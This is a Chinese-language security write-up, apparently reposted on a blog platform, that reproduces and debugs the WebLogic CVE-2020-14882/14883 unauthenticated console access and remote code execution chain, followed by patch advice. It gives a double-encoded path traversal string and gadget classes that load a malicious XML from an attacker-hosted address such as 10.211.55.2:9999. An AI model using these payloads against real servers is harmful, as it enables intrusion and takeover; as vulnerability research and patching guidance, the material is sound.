使用未授权oracle赔偿,Weblogic未授权访问及命令执行分析复现(CVE-2020-14882/14883) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou....

7b11bc49a6ca2835a1eadec66bf081c0.png

‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台

8e5c55bc7954a914edf36fcbe4d52b16.png

任意代码执行复现:

利用上述未授权访问CVE-2020-14882结合CVE-2020-14883

利用方式(一):

通过:

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic。

这里首先需要我们构造一个恶意的xml文件,如这里我们自己搭建的http://10.211.55.2:9999/rce-win.xml。

其次需要被攻击的weblogic能够访问我们的恶意xml。8354d8714c4cd478237ed4f6c411ff45.png038baddc73c8188039c894aeeda10621.png

其他gadget:

com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")

利用方式(二):

通过com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

我们可以看到在当前10.3.6版本会提示

855ff197395d3c47b0f9bd5f94429ec4.png

当使用12版本测试时,即可测试成功06b0e6f14a68087ff13f4f4ee7399919.png

其他exp:

比如回显的6fd07dbe137c61cd03118213a1b70df7.png

12e0b8b73e8e4bcef95f5d0fa7a35dba.png

调试分析:

首先,通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。

从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()

637bd0d48a64458642374aaa177a17fc.png

跟进securedExecute,后会调用doSecuredExecute,继续跟进

e6b1f52b753ef1edcdbad4549b301929.png

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

在这里调用checkAccess进行权限的检查

8b21ee8a36525ab9db75a3428741b382.png

进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时,checkAllResources为false

e8d0221b018dd3ec41d575323fc0a657.png

这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

0856f586395fa3493995ba31a94a9fa1.png

这里即比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null

c22a919709eeb33584f6d410486c2eef.png

当我们的relURI为/console.portal时,rcForAllMethods不为null,rcForOneMethod为null,所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验

27e76a87bbd946128f68a89945c1bad3.png

接下来回到checkAccess,如果这里是原来的/console.portal时,到这就结束了

64c88b61f44b72e28307a7aa6abb358f.png

如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized,并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

b452f3fbec28345669d3fba2f286296b.png

在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限

45cbdea2f8aba7a27c6b75c14777e62d.png

所以当我们这里使用静态资源路径时,unrestrict值就为true

74c4de3ed37bbfd89489abb3dea52570.png

之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service

4ee0fece723e3c1774ffb48338b1c99f.png

这里如果解码后的url里没有;,那么就会继续调用super.service

e6eeae41ef0015a108325e0ccf25677b.png

再次进入super.service()

878a9d507b4586d923b0529525f57cf2.png

最终不管哪种请求都会来到doPost,并在这里调用createUIContext

b71ae6090a68d610716fc1e88f3a6568.png

可以看到此时已经经过了一次解码

193975b3e847c5513195396fe7491e12.png

随后进入getTree又进行了一次解码,此时requestPattern就变成/css/../console.portal

acaa238522fdbf4ebf92d68aff0ecd9c.png

之后来到com.bea.console.utils.BreadcrumbBacking#init类,进入findFirstHandle

d9f48adb4094cdb790d4a89030631e89.png

这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回

5c6ee92c1f08a55573d953610f5767a2.png

最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口

a1a02c51c8fdca99d6b04f46070ece07.png

此时传进来的handleStr会在这里被拆成两部分,一个作为被实例化的类,另一个作为该类的构造函数参数及实例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa

87082132c00fd0423df4552ff4e00f8f.png

所以我们就可根据此来构造gadget,最终通过反射机制在此触发

d43ecda3c0c912d0911cc846b22b397d.png

比如当我们构造了恶意gadget后就变成了这样,随后即可触发rce

da42e09efdf1a0a4e43950f4c957b8bc.png

三、修复

目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html

在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值